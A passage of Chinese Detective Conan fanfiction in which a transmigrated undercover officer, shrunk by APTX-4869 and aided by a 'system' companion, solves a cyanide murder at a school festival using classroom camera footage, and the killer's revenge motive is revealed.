这是他这个老师,最后能帮上的忙了。
上面或多或少也知道这件事并且默认了,这也是让他来通知裟罗的理由。
“您不应该告诉我的,毕竟我还没有接受这个任务。”裟罗淡淡道。
不管怎么说,这都应该算是一些机密。
鬼冢笑了,他笃定道:“你不会说出去的。”
他看人很准的,哪怕仅仅只是相处了一年多的时间,他还是能够确信裟罗的人品。
“总之就是具体要做什么,在接受任务之后才会知道。”裟罗目移,转移话题。
鬼冢点头:“没错。”
“嗯……好,我接受了。”裟罗短暂思考后说着。
鬼冢呼吸一滞:“……你要不要在考虑一下?”
如果可以,他真的希望听到的是拒绝的回答的。
“不用再考虑了,既然这是一个长期的任务,那么我希望我来终结这个任务。”裟罗认真而又坚定地说道。
他的双眸仿佛闪烁着点点星光,虽无日月之辉,却能在漆黑的夜空中指引方向,照亮他人前行的道路。
鬼冢八藏深呼吸一口气:“……好,我会传达你的想法。”
这,就是九条裟罗进入“组织”的缘由。
之后裟罗就得知了本次任务的真相——卧底进一个组织。不过他拒绝了上面给他伪造身份的提议,另让系统小助手帮忙伪造了一个。
毕竟从“长期任务”来看,裟罗认为自己有必要思考一下,是不是上面内部也有问题。
简单来说,就是裟罗信不过上面的人,他认为既然他们可以派人卧底进组织,那么那个组织也能安排卧底进上面不是吗?
他很珍惜自己的第二条命啊,可不希望自己死于背刺,于是「雷电影」这个人物就出现了。
包括身份信息和面容伪装在内,都是由小助手一手安排的。除去知情的裟罗和系统,谁都不会把两个截然不同的人联系在一起。
“哎……”
想到这里,裟罗无奈叹息。
——真是对不住小助手了啊。
他忍不住苦笑。
无他,他从29岁变回17岁,以及系统小助手死机,裟罗认为很大一部分原因,是他自己的失误。
裟罗扫了眼其他人,确定现在不需要他之后,又靠在了墙上。
伴随着身后冰冷的触感,他的意识回到了前段时间系统回归的那一天。
“额——!”
彼时的裟罗被灌下了药,又在系统呼唤后想要起身时,被自己无力的状态惊到了。
不仅仅是身体的虚弱,更让他茫然的是身型的变化,自己的手掌肉眼可见的变小,身上原先的病号服也变大了。
“小助手不在,伪装解除也就算了,为什么我现在还有点不对劲的感觉?”裟罗沉默了一瞬,思维还有些转不过来的他没忍住问道。
其实他是想直接问,为什么自己的身体缩小了的。
系统反问:【你在说什么?你不记得你昏迷前的事情了吗?】
它是可以回答,不过裟罗本人要是反应不过来的话,还是很麻烦的。
裟罗眉头皱起,他努力回忆道:“嗯……确实有些模糊,我记得我应该是暴露了卧底的身份,然后从那个组织逃了出来?”
然后他就被人追杀了——
对方是谁,他已经有些记不清了,只记得他当时的状态就不是很好,只能尽可能的往闹市逃想要摆脱追踪。
毕竟虽然组织的作风是天不怕地不怕,他们也不是没有可能以恐怖袭击为借口直接大开杀戒,但是他的出逃完全是随机事件。在这一点上他们就不可能事先做好准备,从而在闹市中大闹一通。
脑海中闪过几个画面,裟罗陡然一顿:“嗯……明白了,是给我灌了毒药,这是毒药的副作用?”
【可以这么说。】系统叹息,【我来跟你解释一下情况吧。】
【从头开始。】
裟罗挑眉:“嗯……你的意思是要从我来到这个世界开始?那有三十多年了,太久了,你还是长话短说吧。”
他与系统的初遇,是在一次——恍如隔世的车祸之后的事情啊
当时发生了什么来着,他记得似乎是有一辆不遵守交通规则的汽车直直朝他撞来,然后他就在一片血泊之中,听到了系统的声音。
【真是,你以前不是说自己是五好学生吗?怎么这么没有礼貌?】系统指指点点。
裟罗扯扯嘴角道:“你把我国籍换了还想要我礼貌?这世上哪有那么好的事情?
更何况你和我之间的关系,也并没有好到什么程度吧?”
【对救命恩统的态度太差劲了吧?】系统又道。
裟罗从善如流:“嗯,对不起,但是我不改,毕竟心里那关有点过不去。”
【……抱歉,因为后来我有反思,所以在你之后的人都有知情权。】
“哈……也算是一件好事吧。”他真诚一笑,暗色的周遭都遮掩不住其灿烂。
系统:【除此之外,还有一件比较重要的事情需要告诉你。因为是关于这个世界的事情,所以打起精神好好听着吧。】
它借此机会,将角色卡和这个世界的事情,全部都说了出来。
半晌,裟罗终于理清楚的现状,“确实是足以颠覆我认知的事情,我看过《柯南》。
不过按照我现在的时间来算,那已经是40多年前的事情了吧?
难怪虽然我对「剧情」感到模糊,但是看到一些人的时候还是隐隐有一种熟悉的感觉。”
“APTX-4869,我没记错的话,我被灌下的药是叫这个名字吧?”他思考道。
系统:【是的,因为你的任务只是站在世人面前,所以我觉得你无需在意危险的剧情。】
它本来想着,以裟罗上一世的职业来看,想要完成这个任务是非常简单的。
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裟罗提醒道:“有点自大了啊系统,别这么对其他人。”
【好,我会尊重他们的意愿。】系统悉心学习着。
它只是一个机器,对人性并不了解。
突然系统冷不丁道:【不过你现在准备怎么办?】
裟罗一愣:“嗯……说实话之前还没来得及想,不过现在的情况确实不容乐观,唯一的好消息就是之前在组织中时,我是伪装成「雷电影」的吧。
至少他们并不知道我真正的模样,并且小助手的伪装非常到位,两张脸都是真实的,他们不可能怀疑到‘九条裟罗’身上。”
【但你现在还能使用这个名字吗?你在公安的档案并没有被消除,而且脸还一摸一样。】
裟罗摸着脸估量道:“这确实是个问题,但是我现在顶多也就十几岁吧,年龄对不上的,说是远房亲戚就行。
我是因为小助手的干涉,才维持在了十几岁的模样。而更多的例子,都是直接变成孩童,这就是我最好的伪装。
所以系统,可以请你帮我安排一个身份吗?”
系统没有一丝丝犹豫:【当然,你想要什么样的身份?】
裟罗沉思,他缓和了许久之后终于是有力气了:“嗯……这种时候果然还是靠近主角的话更容易解决组织,那么——”
一天后。
帝丹高中。
二年B班的班主任田中有泽介绍道:“这位就是新来的转校生九条,九条你自我介绍一下吧。”
“我叫做九条裟罗,因为家里有一位与我名字同音写法不同的长辈,他的朋友一般叫他九条,所以大家可以直接叫我裟罗。”
裟罗爽朗一笑,简单两句话就为自己的另一个身份做好了铺垫。
考虑到之前恪守角色卡时的冷脸,为了更好的迷惑组织和从前认识的人,这一次裟罗甚至向系统要到了——他和其他宿主ooc的许可。
只不过因为他是中途才有的,所以需要付出一些小小的代价。
【算是给我提醒了,之后我也会将这选择的权利给予他人。】
系统的声音响起,裟罗在心中回应着:【嗯,是个好消息。谢谢你啊系统,这么迁就着我们。】
“嗯……裟罗同学你长得高,先坐后排吧。”田中班主任安排道:“石井,你先和裟罗一起看书吧。”
裟罗点头,他边走边问:【不过你一直在我这边没关系吗?不是说还有一个人?】
【你怎么说也是我第一位宿主,反正那边也已经步入正轨了,先让另外的小助手撑一下没关系的。】系统说着,他的语气极为认真:【反正接下来的课程你都学过,要跟我谈一些事情吗?昨天都没有空。】
裟罗朝同桌石井笑笑,接着他撑着头:【本来是想借着上课的时间睡一会儿的,不过你既然这么说,那好吧……】
“好了,开始上课。”讲台上的田中老师继续。
裟罗垂头,眼角余光扫到了坐在窗边的人:【等等……那个少女就是主角之一的毛利兰吗?】
【嗯,没错,不过你不是说没什么印象了吗?居然还能够一眼看出来吗?】
裟罗解释道:【认不认得出来,是基于我有没有印象的。
在此之前,我都有一种熟悉的感觉,只是我过去的记忆太过模糊,我不刻意去想的话,当然认不出来。】
【毛利兰,她的发型挺特殊的。我记得老版的动漫中还没有那么突出,更多的是为了给她这个人设置一个容易记住的点,不过画师换了之后就变得奇奇怪怪的了。
这么说来,她也曾经是我的女神?毕竟武力值又高、正义感又强、长得还很漂亮,对年仅12岁的我冲击力不要太厉害?】他感慨道。
接着裟罗稍微大胆一点地假装看窗外的时候,又看了毛利兰一眼。
就是没想到能亲眼看到,这一时间他也不知道这是好事还是坏事了。
系统:【这样吗?】
裟罗:【你指哪个?】
系统:【记忆的事。】
【哦……我还以为你问别的,不过那个的话,一般人类都是这样的啊,就好像小学同学在大学重新碰到一样,会觉得眼熟,但是没有人提醒的话很难想起来,你就是那个点醒我的存在。】裟罗思考了一下,他回答道。
【原来如此,学到了。】
裟罗挑眉:【系统很好学呢?】
【嗯,毕竟我也不想再被宿主骂了。】
他一顿:【嗯……你好像在点我?】
【是的。】
【不过说到底,与人类交流的方式,我有很多也是跟你学的。多亏了你,第二任宿主对我的评价还算不错哦。】
裟罗耸肩:【前人栽树后人乘凉嘛~
好了,你应该不是为了跟我说这件事,才那么郑重的跟我开头的吧?】
【嗯,关于组织的事情,在你忙碌的时候我稍微调查了一下,要听吗?】
……
以上,就是一切的开端了。
“裟罗君,麻烦你过来一下。”
刚从回忆中走出,裟罗就听到佐藤美和子在喊他。
“好的。”裟罗揉揉太阳穴。
此时的他经过两次回忆,并没有彻底回神,脑子仍旧有一些混乱,身体却还是无意识地动了起来。
“呲——”
裟罗耳朵一动,下意识地侧头躲过了那不知名的攻击。
然而当他与不远处盆栽后的柯南对上眼的时候,他只恨自己的身体反应还是太快了。
裟罗:急,非常急,没记错的话麻醉针只有一根吧?
柯南:急,非常急,他说那根针不是他射的会信吗?
5. 文化祭暗藏玄机的咖啡(5)
九条裟罗:……
江户川柯南:……
教室中小小的角落,两个人都很急,一时间空气中弥漫着淡淡的尴尬。
【噗。】
系统笑了:【哈哈哈哈哈——】
【好了,别用那没有感情的方式笑了。】裟罗率先移开视线,选择当作没看到柯南了。
不过这也意味着,他需要为他躲过麻醉针一事付出代价。
也就是放弃刚刚摆烂的想法,重新站在警察的面前。
其实这倒也不是必须,可他要是什么都不做的话,以目前的状态来看,他恐怕真的就得去警局坐坐了。
“哈啊……”裟罗转头看向抱作一团的安井琉璃和小田空菜,显然她们两个现在是打定主意,要将杀人的罪名甩在他头上了。
如果是作为当事人录口供还好,他多少可以用感冒的理由遮着一点脸。可要是作为嫌疑人的话,在警局时间太久,还是有一定几率会被过去的同伴认出来。
问题就在于此,他目前还没有做好准备,被认出来会很麻烦。毕竟按照这个世界诡异的时间来算,距离「雷电影」出事,也不过短短一周不到的时间。
照这来看,说不定上面都还没有发现“九条裟罗”失联呢。不过对于那些同伴来说,“九条裟罗”已经消失无踪7年了。
要说为什么是4年,那是因为4年前的某件事,使得他们又联络了起来,同时那件事也为他暴露卧底身份埋下了隐患。
系统问道:【需要作弊吗?】
作弊,指的是系统直接将杀人凶手说出来。
无他,系统具备先进的扫描技术,能够精确地对人体和周围物体进行细致的扫描。
通过对个体的行为分析,它能够敏锐地捕捉到对方是否正在说话,以及其声音特征。此外,系统还能够通过高精度的图像识别功能,迅速定位并识别出隐藏的凶器。
综上所述,系统可以轻易地推断出谁是那个凶手。更何况刚刚柯南在搜查的时候,系统可没有发呆,都看在眼里了啊。
【多谢,但是不用。】裟罗拒绝了,他也有一心二用。
就是因此,他的脑细胞消耗才大,起身的时候才有些懵逼的。
不过,这也仅仅只是原因之一。
系统:【真的吗?真的不用吗?】
这两次为了防止打扰裟罗的思绪,它都是使用弹窗字幕的。
他没有解释,只是缓缓走到了众人面前,然后笃定道:“小田空菜小姐,凶手就是你吧。”
虽是疑问句,但是他说的却很肯定。
小田空菜瞳孔地震,听到这话的其他人动作也是一顿。
下一秒,他们齐齐看向了裟罗。
【???你开挂了?】
系统震惊,字幕被加粗放大。
在午后的微风中,裟罗身着一套纯黑的执事服装。然而由于中午阳光的炙烤,气温逐渐攀升,使得他不得不脱下那件沉重的外套,换上了轻便的马甲。这一变化,内里的白色衬衫便显露了出来,洁白如雪,与黑色的马甲形成了鲜明的对比,更增添了几分绅士的优雅与从容。
不过那带着半截手套的手插在裤兜中的动作,一下子就拉近了裟罗与众人的距离感。
看着那字幕,裟罗差点没绷住自己的表情。
他礼貌道:【我在装13,请不要打扰我。】
泻药,男人至死都是少年,他中二一点也是非常合理的。
【……是我对你的了解还不够多,我原以为你不在意这些。】系统嘟囔着,然后一如既往地,果断隐匿了起来。
它被制造出来之初就是自由的,不过有一个刻在它代码深处的一个信息——苟。
要是实力不够那就苟起来,总之他们只要能看到乐子……
???
系统有些懵逼,乐子是什么,它不是主开拓吗?
所以他给大家的任务,才是在各个领域站到高处,一览众山小来着?
系统甩掉了那奇奇怪怪的想法,又重新将注意力集中在裟罗身上。
“我,我听不懂你在说什么。”
面对裟罗严厉的指控,小田空菜的眼眶中满了泪水,她的眼眸闪烁着惊恐与无助,仿佛被眼前的一切吓得心神不宁。
同时她的身体不由自主地轻轻颤抖,就像一片风中飘摇的落叶,她哆哆嗦嗦地开口,声音带着一丝颤抖和哽咽,似乎每一句话都在撕扯着她的心。
人都是偏向弱者的,看到小田这幅模样,铃木园子她们隐隐有些不忍。
毛利兰也比较感性,她迟疑道:“裟罗……”
或许他们可以更加委婉一点?
说到底兰并没有让裟罗就此打住,毕竟她也很清楚小田空菜是嫌疑人的事实。而且小田和安井琉璃,也曾指认过裟罗。
不仅如此,虽然这种场合并不适合,以亲近谁就偏心谁为基准,但是兰很信任裟罗,并不认为他会下毒。
这么一来,凶手无疑就是在另外两人之中了。
“小兰。”佐藤美和子轻轻拍了拍兰的肩膀,表示这时候暂且不要打断裟罗,很有可能会打乱他的节奏。
毕竟他们先前并不了解裟罗,不能确定新人“侦探”是否会手忙脚乱。
兰一顿,显然也意识到了这一点,她歉意地投去一个眼神。
此时目暮十三也逐渐平复了内心的波动,他知道这位有着故人之姿的少年要开始崭露头角了。然而他的表情却并未因此而变得和善,反而透露出一丝更加凝重的气息。
目暮警官目光锐利地扫视着裟罗,语气严肃而
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坚定地说:“九条裟罗,我必须事先向你强调一点——你也是这起案件中的嫌疑人之一。
因此你所有的言论,都有可能被视为试图推卸责任的表现。所以请你深思熟虑之后,再决定是否开口。
如果你无法提供确凿的证据来证明自己的清白,那么我们也将不得不将你视为首要的嫌疑人,并依法将你带回警局进行进一步的调查。”
当前的局面,就是小田空菜和安井琉璃她们口径一致,竭力要将裟罗描绘成凶手。在她们的证词面前,裟罗显得异常不利。尽管这些言辞缺乏确凿的证据支持,然而正是因为证据的缺失,使得她们能够言之凿凿——她们利用证据的空白,大肆渲染裟罗的罪行,使得旁人很难不对他产生怀疑。
面对这样的困境,其实裟罗最好还是跟先前一样保持安静。毕竟此时,如果裟罗再不小心让局势进一步恶化,那么整个事情的处理就会变得更加棘手。他甚至可能会因为这些虚无的指控,导致无法有效地为自己洗脱罪名,从而被彻底打成凶手。
目暮警官之所以在这样的场合说出这番话,实际上是在巧妙地给予裟罗一个缓冲的机会。
他语气平和,却暗含深意,暗示裟罗:如果你手中没有确凿无疑的证据,那么最好还是保持沉默,不要轻易站出来。至于你刚才所说的那些话,我就当作没有听到过。
不得不说目暮警官不愧是老油条,还能为裟罗创造这样一个回旋的余地。
“这不是威胁,而是我们作为警察的职责所在,希望你能够理解并配合。”目暮警官停顿了一下,终于又放缓语气地补充了一句。
裟罗点头:“我明白。”
“请放心,我这么说,自然也是有我的底气。”他咧嘴一笑。
目暮警官的脸上不经意间流露出一抹淡淡的怀念,那是对两位九条的深深追忆。他心中暗自赞叹,这两位确实是出自同一血脉的精英。然而就在这一刻,那抹带着“OOC”意味的笑容,犹如利剑一般,直直将他的思绪瞬间打乱。
目暮十三用力摇了摇头,仿佛想要将那股不适感驱逐出去,心中不断念叨着:“这是两个人!这是两个人!”
他试图通过这种方式来给自己洗脑,让自己相信眼前所见的并非是记忆中的那个人。然而当他意识到裟罗与九条裟罗之间的关联时,那张熟悉的面孔和神情,就越发让他想起那个深藏在记忆深处的人。
尽管他努力让自己平静下来,但现实与记忆那一笑一冷的割裂感,真的让他有种窒息的无力。
裟罗当然是不知道目暮警官的想法,他缓缓开始了自己的“举证”。
“首先,虽然很抱歉但是这确实是我的失误,因为先前事情太多,所以我不小心忘记说一件事了。”
“其实,教室内是有监控的。”
6. 文化祭暗藏玄机的咖啡(6)
教室内是有监控的……
教室内是有监控……
教室内是有监……
教室内是有……
教室内是……
教室内……
教室……
教……
……
众人脸上一片空白,后知后觉地抬头,对上那黑黝黝的小东西时,才猛地意识到他们先前无意识地,忽略了这个摄像头。
小田空菜的心都漏了半拍。
当她发现那监控正对他们先前的桌子时,脸上的血色更是消失无踪。
高木涉举手:“等等?不是说前段时间坏了,又刚好因为是文化祭期间,没空处理吗?”
小田呼吸一滞,只感觉自己的心脏,在坐什么大起大落的过山车。
“是这样,但是我修好了。”九条裟罗耸肩:“只不过当时没人看到,大家都不知道而已。我没必要说谎,大家一看便知。”
说真的他现在也反应了过来,他并不是忘记,而是下意识地忽略了这件事。
这难道就是与混乱的时间线一样,同为一种世界的干涉吗?
真是恐怖如斯!
裟罗又道:“顺便一提,因为是我修的,所以暂时是上传在了我的电脑中,电脑在更衣室。”
他当时的反应很快,没有给小田空菜和安井琉璃离场的机会,按理来说,毒药应该是还在她们身上的。
不过就算她们是嫌疑人,在没有合理的依据前进行搜身,那也是非法的,所以警察们就算怀疑也不能那么做。
目暮警官毫不犹豫:“高木。”
实际上考虑到裟罗的配合,他们也是准备征求他的意见,打算去搜查一下他的随身物品的,这样就能够洗清他身上莫须有的罪名。
莫须有。
就算不考虑九条裟罗与他们的关系,通过目前调查到的信息,他也更倾向于是小田空菜她们下的杀手。
安井兄妹在往日里关系亲密无间,彼此扶持,按照常理推断,安井琉璃似乎并没有足够的杀人动机。然而,这一切的美好都停留在了过去。
转折点,是小田空菜的突然出现。
安井琉靖与小田空菜陷入热恋,他沉醉于这段感情中,以至于渐渐忽略了自己的亲妹妹安井琉璃。原本在兄妹接手的公司中,安井琉璃持有的股份就相对较少,随着感情的转移,她在公司的话语权更是被削弱。
这种巨大的心理落差,往往就是激情杀人的开端。目暮十三在长期的警务工作中,见识过不少此类案件。因此他认为安井琉璃的杀人动机颇为充足,至少比起裟罗的动机来,显得更加可信。
至于小田空菜,她给人的第一印象是无辜的,也没有足够的勇气去杀人。然而,这只是表面的现象。目暮十三深知,不能以貌取人。在调查结束之前,他必须对所有可能的嫌疑人保持警惕,一视同仁地进行调查。
而如果真的有监控的话,那么想来事情的真相,很快就会浮出水面了。
“是!”高木涉立刻前往更衣室。
没一会儿,他就抱着一个轻薄的笔记本回来了。
裟罗只是微微一笑,眉宇间流露出几分无奈,因为他刚刚在匆忙中,竟然忘记告诉他们他的柜子是哪一个了。他暗自思忖,看来他们早已对他那个可怜的柜子虎视眈眈了。
幸好,他没有把那些见不得人的东西随身携带,而且为了应对不时之需,他的电脑还准备了两个。
额……应该没有什么见不得人的吧?
裟罗沉思片刻,心中忧虑重重,深怕自己在上传资料之后,因为忘记清理某些痕迹,而导致自己的身份暴露。然而,他在众人面前却依旧保持着镇定自若的姿态,接过电脑并打开了它。
他的视线如同扫描仪一般迅速扫过电脑界面,仔细检查每一个角落,确保上面没有任何问题。即使是有些较为敏感的文件,他也早已经将它们全部重命名。
确认无误后,裟罗总算是松了一口气,心中的石头落了地。
他微笑着点开某个软件:“就是这个。”
然而,裟罗却没有注意到,一直跟随在他身边的柯南,此刻却露出了怪异的表情,仿佛发现了什么不可告人的秘密。
那上面的文件——
虽然从表面上看,一切似乎都平静如常,没有发生任何异常之处。然而裟罗之前的行为却让人生疑,他明明有异常的举动,他却故意装作若无其事。
这种反常的表现让柯南深感疑惑,他认为自己有必要对裟罗保持高度的警惕。
再者,作为一个高中生,裟罗的表现未免太过老练。就拿修监控来说,这可不是一般高中生能够掌握的技能。这样的行为,让人不禁对裟罗的真实身份产生怀疑。
虽然这些事情,单独看起来并不算什么大问题,甚至有些完全可以说是他的兴趣。但是当它们集中在一起,再加上之前柯南对裟罗的敌意,使得他现在看待裟罗的一举一动,都仿佛充满了问题。
这种微妙的变化,让柯南对裟罗的疑虑越来越深,他决定要揭开裟罗的伪装,探寻背后的真相。
尤其是裟罗之前穿着一身黑的时候,不知道为什么让他幻视黑衣组织!
尽管不知道组织里有没有他年龄的成员,可柯南还是决定相信自己的直觉。
裟罗:虽然但是……好吧,你开心就好。
对此毫不知情的裟罗,则是将视频的时间调到了案发之前。
伴随着画面的播放,小田空菜的脸也逐渐苍白。
“啪!”
众人顺着声音看过去,安井琉璃毫不犹豫打了小田空菜一巴掌。
她满脸愤怒,大声质问:“你为什么要那么做!”
“请冷静一点!”高木涉见安井琉璃还准备动手,想都没想就挡在了两人中间。
他毕竟是成年男性,直接阻拦可能会导致更为严重的后果,所以才打算让自己成为那个靶子。
安井琉璃的手已经收不住了,又或者说她压根儿就没有想着收。
毛利兰眼神凌厉,当即伸手抓住了她的手腕:“安井小姐,还请冷静些。”
安井琉璃被吓了一跳:“什么东西啊这么对我说话!我要投诉你!”
娇滴滴的大小姐哪里遭过这种事?
“还请随意,我并不是警察。而且容我提醒一句,袭警是犯法的。”兰条理清晰地说着。
她怎么说也是律师的女儿,从小在法律氛围的熏陶下
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,对法律条文耳濡目染,积累了丰富的法律知识。当然袭警罪这种罪行,在她看来,甚至根本不需要费心学习就能理解。
然而兰却没想到,这个世界上竟然有人将恶意表现得如此明显,真真是让人瞠目结舌。
裟罗眉头一皱,低喃道:“所以说有些人真是……”
他在前一世也曾面临过无数类似的困境,总会遇到一些人,他们因为对法律的无知,便无所不为,毫无顾忌。兰的性格始终过于善良,她总是容易被这些人的行为所伤害。
而高木涉也是,他的行为估计只是出于下意识。但如果换成是他,他一定会抓住这个机会好好吓唬一下安井琉璃,让她深刻记住这个教训,不再轻易犯错。
想到这里,他不禁哑然失笑。
曾经的他,在警局中也是一名出了名的刺头,行事风格我行我素的。
在来到这个地方之后,在扮演的限制下,他才开始逐渐收敛自己的棱角,慢慢学会了改变和适应。
不过——
江山易改、本性难移。
“小兰,人教人学不会,事教人一遍就会。”裟罗漫不经心道。
很明显他的意识就是,完全可以真的等安井琉璃袭警之后,把对方关起来的意思了。
裟罗根本没有隐藏的意思,所以在场的大家都听不出来。
柯南是更加感觉自己的直觉没问题,裟罗这个人很有可能就是黑衣组织的一员。
目暮警官则是忍不住扶额,他是真不希望两位裟罗在这种方面如此相像。
当年他与九条合作过,那时候他就看出他冷静自持下藏着一颗狂拽的内心,没想到多年后遇到他的家人,居然还是这种感觉。
“咳!”他用力咳嗽,提醒对方注意着些,别当着警察的面说这话。
毫无疑问,目暮警官看似一视同仁,实际上心都偏得没边了。
而此时,先前一直默不作声的小田空菜也开口了。
她冷笑道:“问我为什么?
多有趣啊,我还以为你知道,毕竟你不是一直把我当成一把刀吗?”
佐藤美和子拿着资料一回来,见到的就是这一幕,她想了想悄无声息地靠近目暮警官,将那一大叠纸交给对方。
目暮警官简单翻阅,也明白了小田空菜的杀人动机。
——她要把安井集团整个毁掉!
“你——”安井琉璃瞳孔地震。
小田空菜推开高木涉,猛地凑近安井琉璃的脸。
两人之间的距离仅仅几厘米,安井琉璃能够清楚地捕捉到小田眼中闪烁的凶光,那是一种毫不掩饰的杀意。这股强烈的气息让她感到窒息,身体不由自主地后退了几步,试图拉开彼此之间的距离。
她的眼神中充满了困惑和惊慌,身体开始颤抖,呼吸也变得急促而沉重,每一次喘息都像是在和恐惧作斗争。
安井琉璃努力伸出手,指尖微微颤动,指向站在面前的小田。她的嘴唇不断蠕动,似乎想要说些什么,但仿佛被卡在喉咙中一般,无论如何都无法挣脱出来。
小田看了眼裟罗,随后咧嘴一笑:“我怎么知道?啊啊……你真是蠢得够可以啊。不过还是可惜了,没能把你一起处理了。”
7. 文化祭暗藏玄机的咖啡(7)
故事并没有想象中那么复杂,却也说来话长,所以这里长话短说。
——小田空菜的家人是被安井琉靖撞死的。
当然,在官方的警察档案中,这起事件或许仅仅被记录为一场“普通车祸”。
可她的叙述中却是藏不住的深重悲痛。
回忆起那年的往事,小田空菜的一家四口只是计划了一场简单的旅行,他们没有招惹任何人,却没想到,其中三人就这样在充满喜悦的归途中,冰冷地离去了。
是的,小田空菜本人也在那辆车上,她亲眼目睹了这场悲剧的发生,并成为了唯一的幸存者。
在事情发生后短短的数分钟内,她听到了安井琉靖的鄙夷与蔑视,听到了他抱怨这场车祸打乱了他赶去赛车比赛的计划,听到了他如何冷漠地扬长而去,只留下了一个破碎的家庭和无尽的伤痛。
她从医院醒来之后,几乎是立刻就指认了犯罪嫌疑人安井琉靖。然而那个地方没有安装监控设备,使得尽管有她这个受害者的明确证词,也无法为她的指控提供确凿的证据支持。
面对那样的情况,安井家还重金聘请了一位小有名气的律师。这位律师手段高明,简单几段话便将黑的说成白的,将安井琉靖从罪责中洗脱出来。
如果不是小田的律师反应迅速,恐怕小田空菜不仅要承受身体与心灵的双重创伤,还可能因为指控不当而坐上被告席。
事后,律师叹息道:“……我很抱歉。”
“谢谢您。”小田空菜摇头,她知道律师帮了她很多,前前后后跑了很久,才拿到了零星一点的证据。
律师移开视线:“你……这件事最好就此结束吧,你的委托金我也不要了。”
安井琉璃不仅被摘了出来,他们甚至提供了相当完整的资料,表明他当时并没有出现于那个地方。
原本就不富裕的小田空菜,在经历了这场突如其来的车祸打击后,光是治疗费用就已经倾尽所有,家底被掏了个一干二净。
保险公司的赔偿金虽然及时到账,但几乎全部都投入到了治疗之中,用以填补那无底洞般的开销。如今,她聘请律师的费用,就是后续康复治疗的费用。
律师是个有善心的人,他不至于为了这点钱,逼死一个本就经历大灾大难的未成年少女。
“谢谢,我明白的。”小田空菜颔首。
是啊,她当然明白了。
在法律不管用的那一刻起,她就只能靠自己了。
“所以你就杀了我哥哥?!”
安井琉璃尖叫着打断了小田空菜。
或许,还有安井家的两位大家长。
九条裟罗心中暗自琢磨着这个可能性。
当小田空菜在那里陈述她的动机时,他的目光瞥见了目暮十三手中那份资料。那份资料上清清楚楚地记录着,安井琉璃的双亲在一次车祸中不幸丧生。
小田空菜对自己身上发生的车祸的过分关注,让人不得不产生一些联想。她在谈论这件事时的神情,也仿佛隐藏着某种不为人知的秘密。
然而,这些都只是猜测,没有确凿的证据可以支持这个观点。九条裟罗很清楚,如果没有确凿的证据,一切都是空谈。
小田空菜勾唇:“一命偿一命。”
“而且我也没有想到啊,事情居然会进行地那么顺利。
多年后,安井琉靖居然对我一见钟情了?哈哈哈哈,你们一家居然没有一个人,认出我这个当初的受害者?”
就是由此,才让她下定了决心。
欠她的,就用他们的命来还吧。
至于她哪里来的钱,布置那些乱七八糟的事情,那自然也是从安井家取的啊!
“刚刚他说,氰./ 化物的味道很浓,哥哥他是明知道有毒还喝下去的!”安井琉璃指着裟罗,似乎是找到了一个可以“脱罪”的方法。
裟罗耸肩,表示自己什么都不知道。
这狗血复仇剧别带他好吗?
“哈哈哈哈哈哈——”
小田空菜笑了。
她擦擦眼角的泪花,冰冷地注视着安井琉璃,反问道:“那又如何?”
“什……什么?”安井琉璃显然没有料到小田空菜会有这样的反应,她不由自主地向后退了半步,眼神中充满了惊愕。
不应该这样啊,小田空菜按理来说,应该满心都是悔意啊!
毕竟,她亲手结束了一个对她无比深情之人的生命啊!安井琉靖曾用尽全力去爱她,宠她,呵护她啊!
可是,小田空菜的眼神中却没有一丝悔意,反而透露出一丝难以言喻的嘲讽。这让安井琉璃感到困惑,难道她真的不觉得愧疚吗?她难道不为杀死那样爱她的安井琉靖而感到后悔吗?
小田空菜微微扯动嘴角,露出一抹冷笑,语气里带着几分讥讽:“你该不会真的认为,区区一个爱情,能超越三条生命的价值吧——?
那种虚无缥缈的情感,在你心中当真那般重要,以至于可以置三条鲜活的生命于不顾吗?!”
在那个令人心碎的夜晚,她紧紧地将妹妹护在身下,母亲在紧张的时刻连忙解开安全带,用自己的身体为她们筑起一道生命的防线,驾驶座上的父亲也立刻做出反应,侧身护住母亲。
可惜父亲还是永远地离开了他们,母亲也在坚持了不久后撒手人寰。原本,她的妹妹是有机会生存下来的,如果当时安井琉靖愿意及时为他们拨打救护车的话。
然而他没有。
如果不是有人路过了那里,她也将被埋葬在那个黑夜。
更令人痛心的是,由于妹妹的年纪太小,无法在救援到来之前坚持下去。她眼睁睁地看着自己的妹妹在她怀中渐渐失去了生命的气息,那种无力感让她痛不欲生。
彼时的她,也是在那巨大的悲痛和强烈的复仇欲望驱使下,才艰难地挣扎着活了下来,等到了救援。
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是啊,安井琉靖现在是因为爱情喝下了毒药,他或许认为这是一种伟大的牺牲。
可这种所谓的爱情,又能改变什么呢?
难道她就该感激涕零,歌颂他伟大的爱情吗?!
做梦——!!!
她失去了至亲,她的生活被彻底摧毁。
她要他们一家偿命!
这么想着,小田空菜阴暗看着安井琉璃,嗤笑一声道:“你的运气真是太好了啊,本来你也是要死的。”
她本来安排好了第二场车祸,让安井兄妹一起死的。
是啊,一起。
看她多好心啊,死都让他们死在一块儿。
一家人,整整齐齐。
不过这些都是原本的事情了,小田空菜又扫了一眼九条裟罗。
她看到裟罗的第一眼,就觉得他会阻碍到她了。
这也是她为什么会打乱安排,提前想要杀死安井琉靖,甚至都没有注意到剂量,还拉着安井琉璃想要将他定死为凶手的原因。
可惜,最后还是因为九条裟罗,满盘皆输。
安井琉璃被小田空菜的眼神定在了原地,一动不能动。
目暮警官一声令下:“剩下的事,到警局再说吧。”
小田空菜没有抗拒,只是在最后还不忘瞥一眼安井琉璃。
虽然她的计划没有成功,但是也差不多了,她可不认为安井琉璃有那个本事撑起一整个安井家!
她等着——
她早已请好律师,会在狱中等着安井家家破人亡——!
嗯……看来小田空菜早就做好了暴露的准备啊,难怪又把之前父母的死拉了出来,是为了减刑啊。
裟罗摸摸下巴,想来小田空菜看不到安井家彻底覆灭,是不会甘心闭上眼的。
可问题在于,这个国家又是有死刑的,尽管满足死刑的条件极为苛刻,但她的行为七号已经满足了,那“致人死亡的恶性犯罪”的条件。
而且米花町的犯罪率实在是“喜人”,监狱中恐怕是都装不下了。所以不管再怎么困难,罪犯中也会有一部分被执行死刑。
不过对于小田空菜来说,她也有一件好事,至少在外人看来,她只杀了一个安井琉靖,其他两人的死亡与她无关。
而且她家人的事情被拉出来后,哪怕算是蓄谋杀人,在法官具有较大自由裁量权的当下,只要律师请的好,那也不是没有可能翻案,至少死刑不是绝对的了。
不过裟罗的沉思与小田空菜的动作,都被江户川柯南看到了。
他忍不住倒吸一口凉气:“嘶——”
此时此刻,柯南已经在思考是否,是裟罗暗示小田空菜动手的了。要真是这样,那岂不是说明他甚至不惜将自己拉入局中?
此子断不可留啊——!
